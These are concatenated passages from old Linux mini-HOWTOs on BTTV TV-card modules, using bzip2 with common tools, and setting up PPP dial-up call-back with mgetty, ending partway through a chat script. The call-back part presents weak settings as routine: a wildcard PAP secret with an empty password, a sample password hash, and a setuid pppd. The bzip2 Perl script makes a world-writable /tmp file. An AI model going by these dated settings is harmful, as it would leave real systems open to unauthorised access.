Fire up your favorite video4linux program, and see if it works. If you can't change the channel, make sure you have inserted the correct tuner module. If you can't hear any sound, double check the sound module, and make sure that the channel is not muted, if you're running the audio through your sound card.

4.6 Automating the process

After you know which modules and options you need, you can automate the process by putting the information into /etc/conf.modules. Then, running an application which needs the driver will cause it to be loaded automatically. I use the following:

# TV
alias   char-major-81   bttv
pre-install bttv        modprobe -k tuner; modprobe -k msp3400
options bttv            radio=1 card=3
options tuner           type=2
Be sure change this to reflect the proper modules and options for your particular card. (Run an /sbin/depmod -a to make sure all your module dependency information is up to date, as well.)


The BTTV Mini-HOWTO : Applications

 Next Previous Contents

5. Applications

Now that your kernel is configured, your devices have been configured, and your modules are inserted, you will also need an application to actually view or capture the images from your card. There are many available:

  • bttvgrab - Provides high-quality grabbing suitable for video recording
    • http://moes.pmnet.uni-oldenburg.de/bttvgrab/
  • Gnome-o-Vision - A viewer for the Gnome desktop environment (currently under development in the Gnome CVS)
    • http://cvs.gnome.org/lxr/source/gnomovision/
  • kwintv - Qt-based TV viewer for the KDE environment
    • http://www.mathematik.uni-kl.de/~wenk/kwintv/
  • wmtune - window maker radio tuner applet for bttv based TV/radio cards
    • http://home.pages.de/~fionn/archive/wmtune-1.0_bttv.tar.bz2
  • wmtv - WindowMaker TV dock.app
    • http://www.student.uwa.edu.au/~wliang/
  • XawTV - a TV application and a few utilities
    • http://www.in-berlin.de/User/kraxel/xawtv.html
  • XtTV - Simple TV/Video program for Linux/X Windows
    • http://home.pages.de/~rasca/xttv/

There is also a driver available for the FlyVideo98 Remote control card at http://wolf.ifj.edu.pl/~jochym/FlyVideo98/

Be sure to read the documentation for any applications you plan to use. Many of them require detailed configuration files to be edited before the application will work properly! Due to the many different types of cards out there, you must take the time to read the documentation on most of these, as the application defaults will most likely not work for your card.


The BTTV Mini-HOWTO : Appendix - Arguments for All Modules

 Next Previous Contents

6. Appendix - Arguments for All Modules

Items preceded with a "*" are only available in the 0.6.4h series driver

videodev.o
        this is the basic video4linux module, all video
        drivers (incl. bttv) register themselves here.

i2c.o
        the generic i2c module. It does much of the i2c bus
        management, all other modules (except videodev.o)
        use this one

        insmod args:
                scan=1          scan the bus for i2c devices
                verbose=0       shut up i2c
                i2c_debug=1     for debugging, it sticks the
                                whole (software) i2c bus
                                traffic to the syslog

bttv.o
        the bt848 (grabber chip) driver

        insmod args:
                remap=adr       remap Bt848 memory to adr<<20
                vidmem=base     frame buffer address>>20 (of graphic card)
                triton1=0/1     for Triton1 compatibility
                                Triton1 is automatically recognized
                                but this might also help with other chipsets
                pll=0/1/2       pll settings
                                0: don't use PLL
                                1: 28 MHz crystal installed
                                2: 35 MHz crystal installed
                radio=0/1       card supports radio
                card=n          card type
                                0:  Auto-Detect
                                1:  Miro
                                2:  Hauppauge (old bt848 boards)
                                3:  STB
                                4:  Intel
                                5:  Diamond
                                6:  AVerMedia
                                7:  MATRIX Vision MV-Delta
                                8:  FlyVideo
                                9:  TurboTV
                                10: Hauppauge (new bt878 boards)
                                11: MIRO PCTV pro
                                12: Terratec/Vobis TV-Boostar
                                13: Newer Hauppauge WinCam (bt878)
                                14: MAXI TV Video PCI2
                                15: Terratec TerraTV+
                                16: Aimslab VHX
                                17: PXC200
                                18: AVermedia98
                                19: FlyVideo98 (newer FlyVideo cards)
                                *20: Zoltrix TV-Max
                                *21: iProTV
                                *22: ADS Technologies Channel Surfer TV
                                *23: Pixelview PlayTV (bt878)
                                *24: Leadtek WinView 601
                                *25: AVEC Intercapture
                                *26: LifeView FlyKit w/o Tuner
                                *27: Intel Create and Share PCI

        remap, card, radio and pll accept up to four comma-separted arguments
        (for multiple boards).  The CARD and PLL defines from the Makefile
        are used as defaults.

msp3400.o
        The driver for the msp34xx sound processor chips. If you have a
        stereo card, you probably want to insmod this one.

        insmod args:
                debug=1/2       print some debug info to the syslog,
                                2 is more verbose.

*tea6300.o
        The driver for the tea6300 fader chip.  If you have a stereo
        card and the msp3400.o doesn't work, you might want to try this
        one.  This chip is seen on most STB TV/FM cards (usually from
        Gateway OEM sold surplus on auction sites).

        insmod args:
                debug=1         print some debug info to the syslog.

*tda8425.o
        The driver for the tda8425 fader chip.  This driver used to be
        part of bttv.c, so if your sound used to work but does not
        anymore, try loading this module.

        insmod args:
                debug=1         print some debug info to the syslog.

*tda9855.o
        The driver for the tda9855 stereo decoder / audio processor chip.

        insmod args:
                debug=1         print some debug info to the syslog.

*dpl3518.o
        Driver for the dpl3518a Dolby Pro Logic Processor

        insmod args:
                debug=1         print some debug info to the syslog.

tuner.o
        The tuner driver.  You need this unless you want to use only
        with a camera or external tuner ...

        insmod args:
                debug=1         print some debug info to the syslog
                type=n          type of the tuner chip. n as follows:
                                0: Temic PAL tuner
                                1: Philips PAL_I tuner
                                2: Philips NTSC tuner
                                3: Philips SECAM tuner
                                4: no tuner
                                5: Philips PAL tuner
                                6: Temic NTSC tuner
                                7: Temic PAL tuner
                                *8: Alps TSBH1 NTSC tuner
                                *9: Alps TSBE1 PAL tuner

i2c_chardev.o
        provides a character device for i2c bus access.  Works for 2.1.x
        only, not compiled by default.


Bzip2 mini-HOWTO

David Fetter, david@fetter.org

v2.00, 22 August 1999

This document tells how to use the new bzip2 compression program. The local copy of the sgml at the current site is here, and the "author-itative" sgml is here.

1. Introduction

  • 1.1 Revision History

2. Getting bzip2

  • 2.1 Bzip2-HOWTO in your language
  • 2.2 Getting bzip2 precompiled binaries
  • 2.3 Getting bzip2 sources
  • 2.4 Compiling bzip2 for your machine

3. Using bzip2 by itself

4. Using bzip2 with tar

  • 4.1 Easiest to set up:
  • 4.2 Easy to set up, fairly easy to use, no need for root privileges:
  • 4.3 Also easy to use, but needs root access.

5. Using bzip2 with less

6. Using bzip2 with emacs

  • 6.1 Changing emacs for everyone:
  • 6.2 Changing emacs for one person:

7. Using bzip2 with wu-ftpd

8. Using bzip2 with grep

9. Using bzip2 with Netscape under the X.

10. Using bzip2 to recompress other compression formats


Bzip2 mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

Bzip2 is a groovy new algorithm for compressing data. It generally makes files that are 60-70% of the size of their gzip'd counterparts.

This document will take you through a few common applications for bzip2.

Future versions of the document will have applications of libbzip2, the bzip2 C library which bzip2's author, Julian Seward has kindly written. The bzip2 manual, which includes low-level information about the library, can be found here.

Future versions of the document may also include a summary of the discussion over whether (and how) bzip2 should be used in the Linux kernel.

1.1 Revision History

v2.00

Changed the Using bzip2 with less section so .tar.bzip2 files can actually be read. Thanks to Nicola Fabiano for the correction.

Updated buzzit utility.

Updated tar information.

v1.92

Updated the Getting bzip2 binaries section, including adding S.u.S.E.'s.

v1.91

Corrected a typo and clarified some shell idioms in the section on using bzip2 with tar. Thanks to Alessandro Rubini for these.

Updated the buzzit tool not to stomp on the original bzip2 archive.

Added bgrep, a zgrep-like tool.

v1.9

Clarified the gcc 2.7.* problem. Thanks to Ulrik Dickow for pointing this out.

Added Leonard Jean-Marc's elegant way to work with tar.

Added Linus Ãkerlund's Swedish translation.

Fixed the wu-ftpd section per Arnaud Launay's suggestion.

Moved translations to their own section.

v1.8

Put buzzit and tar.diff in the sgml where they belong. Fixed punctuation and formatting. Thanks to Arnaud Launay for his help correcting my copy. :-)

Dropped xv project for now due to lack of popular interest.

Added teasers for future versions of the document.

v1.7

Added buzzit utility. Fixed the patch against gnu tar.

v1.6

Added TenThumbs' Netscape enabler.

Also changed lesspipe.sh per his sugestion. It should work better now.

v1.5

Added Arnaud Launay's French translation, and his wu-ftpd file.

v1.4

Added Tetsu Isaji's Japanese translation.

v1.3

Added Ulrik Dickow's .emacs for 19.30 and higher.

(Also corrected jka-compr.el patch for emacs per his suggestion. Oops! Bzip2's doesn't yet(?) have an "append" flag.)

v1.2

Changed patch for emacs so it automagically recognizes .bz2 files.

v1.1

Added patch for emacs.

v1.0

Round 1.


Bzip2 mini-HOWTO: Getting bzip2

 Next Previous Contents

2. Getting bzip2

Bzip2's home page is at The UK home site. The United States mirror site is here.

2.1 Bzip2-HOWTO in your language

French speakers may wish to refer to Arnaud Launay's French documents. The web version is here, and you can use ftp here Arnaud can be contacted by electronic mail at this address

Japanese speakers may wish to refer to Tetsu Isaji's Japanese documents here. Isaji can be reached at his home page, or by electronic mail at this address.

Swedish speakers may wish to refer to Linus Ãkerlund's Swedish documents here. Linus can be reached by electronic mail at this address.

2.2 Getting bzip2 precompiled binaries

See the home sites.

2.3 Getting bzip2 sources

They come from the Official sites (see Getting Bzip2 for where.

2.4 Compiling bzip2 for your machine

If you have gcc 2.7.*, change the line that reads

CFLAGS = -O3 -fomit-frame-pointer -funroll-loops

to

CFLAGS = -O2 -fomit-frame-pointer

that is, replace -O3 with -O2 and drop the -funroll-loops. You may also wish to add any -m* flags (like -m486, for example) you use when compiling kernels.

Avoiding -funroll-loops is the most important part, since this will cause many gcc 2.7's to generate wrong code, and all gcc 2.7's to generate slower and larger code. For other compilers (lcc, egcs, gcc 2.8.x) the default CFLAGS are fine.

After that, just make it and install it per the README.


Bzip2 mini-HOWTO: Using bzip2 by itself

 Next Previous Contents

3. Using bzip2 by itself

Read the Fine Manual Page :)


Bzip2 mini-HOWTO: Using bzip2 with tar

 Next Previous Contents

4. Using bzip2 with tar

Listed below are three ways to use bzip2 with tar, namely

4.1 Easiest to set up:

This method requires no setup at all. To un-tar the bzip2'd tar archive, foo.tar.bz2 in the current directory, do

/path/to/bzip2 -cd foo.tar.bz2 | tar xf -
or
tar --use-compress-prog=bzip2 xf foo.tar.bz2

These work, but can be a PITA to type often.

4.2 Easy to set up, fairly easy to use, no need for root privileges:

Thanks to Leonard Jean-Marc for the tip. Thanks also to Alessandro Rubini for differentiating bash from the csh's.

In your .bashrc, you can put in a line like this:

alias btar='tar --use-compress-program /usr/local/bin/bzip2 '

In your .tcshrc, or .cshrc, the analogous line looks like this:

alias btar 'tar --use-compress-program /usr/local/bin/bzip2'

4.3 Also easy to use, but needs root access.

Update your tar to GNU's newest version, which is currently 1.13.10. It can be found at GNU's ftp site or any mirror.


Bzip2 mini-HOWTO: Using bzip2 with less

 Next Previous Contents

5. Using bzip2 with less

To uncompress bzip2'd files on the fly, i.e. to be able to use "less" on them without first bunzip2'ing them, you can make a lesspipe.sh (man less) like this:

#!/bin/sh
# This is a preprocessor for 'less'.  It is used when this environment
# variable is set:   LESSOPEN="|lesspipe.sh %s"

  case "$1" in
  *.tar) tar tvvf $1 2>/dev/null ;; # View contents of various tar'd files
  *.tgz) tar tzvvf $1 2>/dev/null ;;
# This one work for the unmodified version of tar:
  *.tar.bz2) bzip2 -cd $1 $1 2>/dev/null | tar tvvf - ;;
#This one works with the patched version of tar:
# *.tar.bz2) tyvvf $1 2>/dev/null ;;
  *.tar.gz) tar tzvvf $1 2>/dev/null ;;
  *.tar.Z) tar tzvvf $1 2>/dev/null ;;
  *.tar.z) tar tzvvf $1 2>/dev/null ;;
  *.bz2) bzip2 -dc $1  2>/dev/null ;; # View compressed files correctly
  *.Z) gzip -dc $1  2>/dev/null ;;
  *.z) gzip -dc $1  2>/dev/null ;;
  *.gz) gzip -dc $1  2>/dev/null ;;
  *.zip) unzip -l $1 2>/dev/null ;;
  *.1|*.2|*.3|*.4|*.5|*.6|*.7|*.8|*.9|*.n|*.man) FILE=`file -L $1` ; # groff src
    FILE=`echo $FILE | cut -d ' ' -f 2`
    if [ "$FILE" = "troff" ]; then
      groff -s -p -t -e -Tascii -mandoc $1
    fi ;;
  *) cat $1 2>/dev/null ;;
#  *) FILE=`file -L $1` ; # Check to see if binary, if so -- view with 'strings'
#    FILE1=`echo $FILE | cut -d ' ' -f 2`
#    FILE2=`echo $FILE | cut -d ' ' -f 3`
#    if [ "$FILE1" = "Linux/i386" -o "$FILE2" = "Linux/i386" \
#         -o "$FILE1" = "ELF" -o "$FILE2" = "ELF" ]; then
#      strings $1
#    fi ;;
  esac


Bzip2 mini-HOWTO: Using bzip2 with emacs

 Next Previous Contents

6. Using bzip2 with emacs

6.1 Changing emacs for everyone:

I've written the following patch to jka-compr.el which adds bzip2 to auto-compression-mode.

Disclaimer: I have only tested this with emacs-20.2, but have no reason to believe that a similar approach won't work with other versions.

To use it,

  1. Go to the emacs-20.2/lisp source directory (wherever you untarred it)
  2. Put the patch below in a file called jka-compr.el.diff (it should be alone in that file ;).
  3. Do
     patch < jka-compr.el.diff
  4. Start emacs, and do
     M-x byte-compile-file jka-compr.el
  5. Leave emacs.
  6. Move your original jka-compr.elc to a safe place in case of bugs.
  7. Replace it with the new jka-compr.elc.
  8. Have fun!
--- jka-compr.el        Sat Jul 26 17:02:39 1997
+++ jka-compr.el.new    Thu Feb  5 17:44:35 1998
@@ -44,7 +44,7 @@
 ;; The variable, jka-compr-compression-info-list can be used to
 ;; customize jka-compr to work with other compression programs.
 ;; The default value of this variable allows jka-compr to work with
-;; Unix compress and gzip.
+;; Unix compress and gzip.  David Fetter added bzip2 support :)
 ;;
 ;; If you are concerned about the stderr output of gzip and other
 ;; compression/decompression programs showing up in your buffers, you
@@ -121,7 +121,9 @@

 ;;; I have this defined so that .Z files are assumed to be in unix
-;;; compress format; and .gz files, in gzip format.
+;;; compress format; and .gz files, in gzip format, and .bz2 files,
+;;; in the snappy new bzip2 format from http://www.muraroa.demon.co.uk.
+;;; Keep up the good work, people!
 (defcustom jka-compr-compression-info-list
   ;;[regexp
   ;; compr-message  compr-prog  compr-args
@@ -131,6 +133,10 @@
      "compressing"    "compress"     ("-c")
      "uncompressing"  "uncompress"   ("-c")
      nil t]
+    ["\\.bz2\\'"
+     "bzip2ing"        "bzip2"         ("")
+     "bunzip2ing"      "bzip2"         ("-d")
+     nil t]
     ["\\.tgz\\'"
      "zipping"        "gzip"         ("-c" "-q")
      "unzipping"      "gzip"         ("-c" "-q" "-d")

6.2 Changing emacs for one person:

Thanks for this one go to Ulrik Dickow, ukd@kampsax.dk, Systems Programmer at Kampsax Technology:

To make it so you can use bzip2 automatically when you aren't the sysadmin, just add the following to your .emacs file.

;; Automatic (un)compression on loading/saving files (gzip(1) and similar)
;; We start it in the off state, so that bzip2(1) support can be added.
;; Code thrown together by Ulrik Dickow for ~/.emacs with Emacs 19.34.
;; Should work with many older and newer Emacsen too.  No warranty though.
;;
(if (fboundp 'auto-compression-mode) ; Emacs 19.30+
    (auto-compression-mode 0)
  (require 'jka-compr)
  (toggle-auto-compression 0))
;; Now add bzip2 support and turn auto compression back on.
(add-to-list 'jka-compr-compression-info-list
             ["\\.bz2\\(~\\|\\.~[0-9]+~\\)?\\'"
              "zipping"        "bzip2"         ()
              "unzipping"      "bzip2"         ("-d")
              nil t])
(toggle-auto-compression 1 t)


Bzip2 mini-HOWTO: Using bzip2 with wu-ftpd

 Next Previous Contents

7. Using bzip2 with wu-ftpd

Thanks to Arnaud Launay for this bandwidth saver. The following should go in /etc/ftpconversions to do on-the-fly compressions and decompressions with bzip2. Make sure that the paths (like /bin/compress) are right.

 :.Z:  :  :/bin/compress -d -c %s:T_REG|T_ASCII:O_UNCOMPRESS:UNCOMPRESS
 :   : :.Z:/bin/compress -c %s:T_REG:O_COMPRESS:COMPRESS
 :.gz: :  :/bin/gzip -cd %s:T_REG|T_ASCII:O_UNCOMPRESS:GUNZIP
 :   : :.gz:/bin/gzip -9 -c %s:T_REG:O_COMPRESS:GZIP
 :.bz2: :  :/bin/bzip2 -cd %s:T_REG|T_ASCII:O_UNCOMPRESS:BUNZIP2
 :   : :.bz2:/bin/bzip2 -9 -c %s:T_REG:O_COMPRESS:BZIP2
 :   : :.tar:/bin/tar -c -f - %s:T_REG|T_DIR:O_TAR:TAR
 :   : :.tar.Z:/bin/tar -c -Z -f - %s:T_REG|T_DIR:O_COMPRESS|O_TAR:TAR+COMPRESS
 :   : :.tar.gz:/bin/tar -c -z -f - %s:T_REG|T_DIR:O_COMPRESS|O_TAR:TAR+GZIP
 :   : :.tar.bz2:/bin/tar -c -y -f - %s:T_REG|T_DIR:O_COMPRESS|O_TAR:TAR+BZIP2


Bzip2 mini-HOWTO: Using bzip2 with grep

 Next Previous Contents

8. Using bzip2 with grep

The following utility, which I call bgrep, is a slight modification of the zgrep which comes with Linux. You can use it to grep through files without bunzip2'ing them first.

#!/bin/sh

# bgrep -- a wrapper around a grep program that decompresses files as needed
PATH="/usr/bin:$PATH"; export PATH

prog=`echo $0 | sed 's|.*/||'`
case "$prog" in
        *egrep) grep=${EGREP-egrep}     ;;
        *fgrep) grep=${FGREP-fgrep}     ;;
        *)      grep=${GREP-grep}       ;;
esac
pat=""
while test $# -ne 0; do
  case "$1" in
  -e | -f) opt="$opt $1"; shift; pat="$1"
           if test "$grep" = grep; then  # grep is buggy with -e on SVR4
             grep=egrep
           fi;;
  -*)      opt="$opt $1";;
   *)      if test -z "$pat"; then
             pat="$1"
           else
             break;
           fi;;
  esac
  shift
done

if test -z "$pat"; then
  echo "grep through bzip2 files"
  echo "usage: $prog [grep_options] pattern [files]"
  exit 1
fi

list=0
silent=0
op=`echo "$opt" | sed -e 's/ //g' -e 's/-//g'`
case "$op" in
  *l*) list=1
esac
case "$op" in
  *h*) silent=1
esac

if test $# -eq 0; then
  bzip2 -cd | $grep $opt "$pat"
  exit $?
fi

res=0
for i do
  if test $list -eq 1; then
    bzip2 -cdfq "$i" | $grep $opt "$pat" > /dev/null && echo $i
    r=$?
  elif test $# -eq 1 -o $silent -eq 1; then
    bzip2 -cd "$i" | $grep $opt "$pat"
    r=$?
  else
    bzip2 -cd "$i" | $grep $opt "$pat" | sed "s|^|${i}:|"
    r=$?
  fi
  test "$r" -ne 0 && res="$r"
done
exit $res


Bzip2 mini-HOWTO: Using bzip2 with Netscape under the X.

 Next Previous Contents

9. Using bzip2 with Netscape under the X.

tenthumbs@cybernex.net says:

I also found a way to get Linux Netscape to use bzip2 for Content-Encoding just as it uses gzip. Add this to $HOME/.Xdefaults or $HOME/.Xresources

I use the -s option because I would rather trade some decompressing speed for RAM usage. You can leave the option out if you want to.

Netscape*encodingFilters:      \
        x-compress :  : .Z     : uncompress -c  \n\
        compress   :  : .Z     : uncompress -c  \n\
        x-gzip     :  : .z,.gz : gzip -cdq      \n\
        gzip       :  : .z,.gz : gzip -cdq      \n\
        x-bzip2    :  : .bz2   : bzip2 -ds \n


Bzip2 mini-HOWTO: Using bzip2 to recompress other compression formats

 Next Previous Contents

10. Using bzip2 to recompress other compression formats

The following perl program takes files compressed in other formats (.tar.gz, .tgz. .tar.Z, and .Z for this iteration) and repacks them for better compression. The perl source has all kinds of neat documentation on what it does and how it does what it does. This latest version takes files as input on the command line. Without command line arguments, it tries to repack every file in the current working directory.

#!/usr/bin/perl -w

#######################################################
#                                                     #
# This program takes compressed and gzipped programs  #
# in the current directory and turns them into bzip2  #
# format.  It handles the .tgz extension in a         #
# reasonable way, producing a .tar.bz2 file.          #
#                                                     #
#######################################################
$counter = 0;
$saved_bytes = 0;
$totals_file = '/tmp/machine_bzip2_total';
$machine_bzip2_total = 0;

@raw = (defined @ARGV)?@ARGV:<*>;

foreach(@raw) {
    next if /^bzip/;
    next unless /\.(tgz|gz|Z)$/;
    push @files, $_;
}
$total = scalar(@files);

foreach (@files) {
    if (/tgz$/) {
        ($new=$_) =~ s/tgz$/tar.bz2/;
    } else {
        ($new=$_) =~ s/\.g?z$/.bz2/i;
    }
    $orig_size = (stat $_)[7];
    ++$counter;
    print "Repacking $_ ($counter/$total)...\n";
    if ((system "gzip -cd $_ |bzip2 >$new") == 0) {
        $new_size = (stat $new)[7];
        $factor = int(100*$new_size/$orig_size+.5);
        $saved_bytes += $orig_size-$new_size;
        print "$new is about $factor% of the size of $_. :",($factor<100)?')':'(',"\n";
        unlink $_;
    } else {
        print "Arrgghh!  Something happened to $_: $!\n";
    }
}
print "You've "
    , ($saved_bytes>=0)?"saved ":"lost "
    , abs($saved_bytes)
    , " bytes of storage space :"
    , ($saved_bytes>=0)?")":"("
    , "\n"
    ;

unless (-e '/tmp/machine_bzip2_total') {
    system ('echo "0" >/tmp/machine_bzip2_total');
    system ('chmod', '0666', '/tmp/machine_bzip2_total');
}

chomp($machine_bzip2_total = `cat $totals_file`);
open TOTAL, ">$totals_file"
     or die "Can't open system-wide total: $!";
$machine_bzip2_total += $saved_bytes;
print TOTAL $machine_bzip2_total;
close TOTAL;

print "That's a machine-wide total of ",`cat $totals_file`," bytes saved.\n";


call-back mini HOWTO

by Pawel Skonecki, stona@kft.umcs.lublin.pl

v2.1a, 2001-10-06

This document describes how to set up call-back by using the Linux system and modem. I would like to thank Anna for her patience.

1. Introduction

  • 1.1 OPINION
  • 1.2 PUBLISHING

2. Procedure

  • 2.1 PART I: Net at home ?
  • 2.2 PART II: The first steps with modem.
  • 2.3 PART III Call Linux
  • 2.4 PART IV Linux calls us
  • 2.5 PART V Summary


call-back mini HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 OPINION

I will be waiting for all opinions about this document. I have tried to gather information as complete as possible. Tell me when your find any mistakes. I'll be grateful to people who will send me any suggestions or corrections. Their contributions will make this document better. I don't mind answering your questions but I'd rather you read the whole article first.

1.2 PUBLISHING

This document can by published under the conditions of Linux Documentation Project. Get in touch with the author if you can't get this license. This document is free.


call-back mini HOWTO: Procedure

 Next Previous Contents

2. Procedure

2.1 PART I: Net at home ?

Most of us use the Internet in a place of work. However we offen need the net at home or outside the place of work. It may be possible that the work from home is cheaper then from a company building. I think that the best solution is to install call-back software on the Linux server. Call-back makes it possible to re-call index number at the cost of the company. I'll try to present how it works. An entitled person who calls the modem is varied for the first time in Linux server. Then on the user's side the "hang up modem" is switched on. At the same time Linux calls the user. User is verified again. We have connection and the server is charged. The user pays only for the initiation of the connection. The double verification and extra options in the call-back program unable the unsuitable persons to charge our bill. We can restrict the access to the connection only to corporation network or the Internet. Call-back is very flexible. Below, I'll try to present the configuration of a call-back server on Linux system and I'll show you how to set up your computer for re-calling the connection. I don't describe configuration of ISDN call-back because I don't use ISDN in my connection to the Internet. If you set call-back on ISDN send me your configuration. I had some problem when I changed my kernel from 2.2.x to 2.4.x. I will describe new option for a new kernel. Remember that if you change your kernel for high version you will have to change pppd, too. I don't create a new section for description of new possibility in kernels 2.4.x but I write a new configurations in old section. I would like to apologise to people who asked me about options for new kernels. I didn't have time to write a new version of HOW-TO. I have changed my job and place of liveing. Sorry.

2.2 PART II: The first steps with modem.

The administrators prefer different modem but while buying a modem we should remember certain guidelines:

  • If you have USR WinModems see Linmodem-HOWTO.
  • The externale modem is moust flexible you have more place inste your computer.
  • The internal modem with ISA slot is better then the are with PCI slot (you can use your PCI slot for something different )
  • Don't use Plug modem see Plag-and-Play-HOWTO.

When we have the suitable modem we have to set it up in our system. We have to check on which com our modem is. Then we have to make a symbolic link to this hardware and /dev/modem. For example, if we have the modem for the 2nd com we write:

ln -s /dev/cua1 /dev/modem

We check it

lrwxrwxrwx 1 root uucp 9 Sep 19 19:10 /dev/modem -> /dev/cua1

If we have the modem on different com we have to remember that

/dev/cua0 is com1

/dev/cua1 is com2

/dev/cua2 is com3

/dev/cua3 is com4

For new kernels:

/dev/ttyS0 is com1

/dev/ttyS1 is com2

/dev/ttyS2 is com3

/dev/ttyS3 is com4

Now, we check our configuration using the program minicom.

2.3 PART III Call Linux

The first step to make the call-back on Linux accessible is to set up a suitable parameters in kernel. Then we check whether our kernel serves the protocol ppp. If you don't have ppp in your kernel or in module you will have to compile your kernel and add ppp. You will find more information in Kernel-HOWTO.In the kernels 2.4.x series you have to mark follow options:

CONFIG_PPP=m
# CONFIG_PPP_MULTILINK is not set
CONFIG_PPP_ASYNC=m
CONFIG_PPP_SYNC_TTY=m
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOMP=m

After compilation you have to add some lines for /etc/modules.conf

alias /dev/ppp ppp_generic alias char-major-108 ppp_generic alias tty-ldisc-3 ppp_async alias tty-ldisc-14 ppp_synctty alias ppp-compress-21 bsd_comp alias ppp-compress-24 ppp_deflate alias ppp-compress-26 ppp_deflate

You can't forget that you need new pppd demon for kernels 2.4.x (for me it was ppp-2.4.0 this ppp has some mistake you have to get latest from ftp.samba.org in /pub/ppp ).

OK. We have a good kernel. Now, we have to set up the software to our system. The call-back program is a part of mgetty-sendfax and ppp. You will find it all in your distribution. Because the call-back system has double verification we create a user who will be running ppp on the side of server. In /etc/passwd you have new user and you have to change their shall.

pppuser:klkIOM89mn65H:230:PPP Dialin:/home/pppuser:/etc/ppp/ppplogin

I changed the above line for kernel 2.4.x this line in /etc/passwd (I use shadow and you don't see password)

pppuser:x:6778:44:PPP Dialin:/etc/ppp/:/usr/sbin/pppd

I don't use a special script for the running of pppd but I run it directly while login pppuser.

Then change the password. We have to add information abut password in the file /etc/ppp/pap-secrets (more in man pppd)

pppuser * password_for_pppuser *

In the 2.4.x kernels you have to write in /etc/ppp/pap-secrets

*               *       ""                      *

This user doesn't have a usual shell but a file /etc/ppp/ppplogin. We have to make it ourselves. For example vi /etc/ppp/ppplogin and we type:

#!/bin/sh

exec /usr/sbin/pppd -detach 192.168.1.1:192.168.1.2

where the address 192.168.1.1 is the address of server with modem and the address 192.168.1.2 is the address which we assigned to our modem. We set up executable options for this file. Because we will use the ppp demon we have to set up the options for this demon. We edit file /etc/ppp/options:

proxyarp

lock

crtscts

modem

If it's 2.4.x kernel you write in /etc/ppp/options

  -detach
  asyncmap 0
  modem
  crtscts
  proxyarp
  lock
  require-pap
  refuse-chap
  ms-dns 192.168.1.1
  usepeerdns

The last 3rd option is very important. You use only PAP authentication ,require-pap. Don't use chap authentication, refuse-chap. You can use ms-dns, If you have M$ Windows system clients you can send them information about DNS server. If you wont to send IP of DNS server for Linux/UNIX machine you use usepeerdns option, more in man pppd.

Proxyarp is the most important from the above options, because you can go to Internet by the modem in the server. The remaining options are used to control your modem. You can only work on the server if you remove proxyarp option. You have to see PPP-HOWTO and man pppd for more information. We will set up our modem now. Our server must be ready to receive a connection after start. We edit file /etc/inittab and we add it's to modem on the 2en com.

s1:2345:respawn:/sbin/mgetty ttyS1 -D /dev/ttyS1 vt100
or
s1:2345:respawn:/sbin/mgetty ttyS1 -s 115200 -D /dev/ttyS1

For the 1st com line looks as follows:

s0:2345:respawn:/sbin/mgetty ttyS1 -D /dev/ttyS1 vt100
or
s0:2345:respawn:/sbin/mgetty ttyS0 -s 115200 -D /dev/ttyS0
We make init q. If we don't have information about any mistakes in logs we go to the next step. We come back to directory /etc/ppp and create options.ttyS1 (for modem com1 options.ttyS0)

IP_local: IP_remote

for our net it will be

192.168.1.1:192.168.1.2

We have done a lot work so far. Now, we check the file /etc/mgetty+sendfax/login.config. The most important line is:

/AutoPPP/ - a_ppp /usr/sbin/pppd auth -chap +pap login detach 7 debug

If you have 2.4.x kernel you have write in this file:

 /AutoPPP/ -     a_ppp   /usr/sbin/pppd file /etc/ppp/options
The remaining lines can be marked #.

We have to set up suid for ppp demon, because pppuser has to run pppd and make interface work. I insert have to insert opinion of Bill Staehle "NOTE: Some distributions think they know better than you, and delete this permission when their 'admin' tool (yast in SuSE, linuxconf in many others) is used. Read the documentation of the "tool" to see how to stop this crap."

chmod u+s /usr/sbin/pppd

and its effect is:

-rwsr-xr-x 1 root root 106892 Jan 11 1999 /usr/sbin/pppd

I think that it is a good idea is to add it to cron becouse I had a problem after restart of my server pppd changed preference. It's normal situation in. I add opinion of Bill Staehle "COMMENT: This is what I was referring to. In Red Hat, look at /usr/lib/linuxconf/redhat/perm/ppp (delete or rename the file)."

Our server will work as router. We have to enable IP forwarding and we add this line for the file /etc/rc.d/rc.local :

echo "1" > /proc/sys/net/ipv4/ip_forward

If you are RedHat user you can change in /etc/sysconfig/network from FORWARD_IPV4=false to FORWARD_IPV4=true.

For verification we call to Linux. We use scripts for it. If we do this in MS Windows we mark options "call out a terminal after connection". We login as pppuser with its password. I hope that all is OK.

2.4 PART IV Linux calls us

We can already call our Linux. Now it's time Linux called us. It's not very diffucalt. We have to edit only two files. We create a file /etc/mgetty+sendfax/callback.conf and we leave it empty.

Then we have to ask our users for their phone number. It's time to write the numbers we have connected earlier. In order to do it we edit /etc/mgetty+sendfax/login.conf and add line:

call - - /usr/sbin/callback -S 123456

where call is a pseudo-user needed to initiate the connection. The line in the /etc/mgetty+sendfax/login.conf puts in motion the program calling the given number (in this case it's 123456). The same procedures can be applied to other users. I'll try to explain how it works. When we call a server. It asks us to give verification. We login as pseudo-user, in this case it calls. The script in our computer hangs up the modem. We wait and the connection is cut off. The program call-back starts working and recalls us. We verify ourselves again as pppuser with password. We combine the connection and interface ppp. That's all. The configuration of work-stations is very simple. When you have MS Windows, you have to install dial-up for your number. In the modem propriety we find " propriety--->extended---> extra options" where we write.

&c0s0=1

We close the window and call. We log in according to the description given above. If we want to use Linux, we must refer to the script. It's difficult to give only one good script for our Linux. A good configuration of ppp in the system is of primary importance. (You can call it as pppuser through the scripts first).The scripts below were whiten by A. Gozdz. I suggest putting everything to catalogue. It is only my suggestion & you don't have to start the scripts here. Detailed information cocernig writing scripts on Linux can found in PPP-HOWTO.

The configuration file of daemon ppp (an example for modem on com2) THESE SCRIPTS WORK GOOD WITH LINUX RED HAT 6.x

  • /etc/ppp/options
    lock

defaultroute

noipdefault

modem

115200

crtscts

debug

passive

asyncmap 0
  • /etc/ppp/pppcallback
    TIMEOUT 5

ABORT 'ERROR'

ABORT 'BUSY'

ABORT 'NO ANSWER'

ABORT 'NO DIALTONE'

ABORT '\nVOICE\r'

ABORT '\nRINGING\r\n\r\nRINGING\r'

'' AT&FH0 'OK-+++\c-OK' 'AT&C0S0=1'

TIMEOUT 40

OK ATDT5376443 CONNECT ''

ogin:-ogin: ppp-pseudo-user

'\nNO CARRIER\r' ''

TIMEOUT 180

'\nRING\r' AT&C1A

CONNECT ''

TIMEOUT 20

ogin:-ogin: pppuser

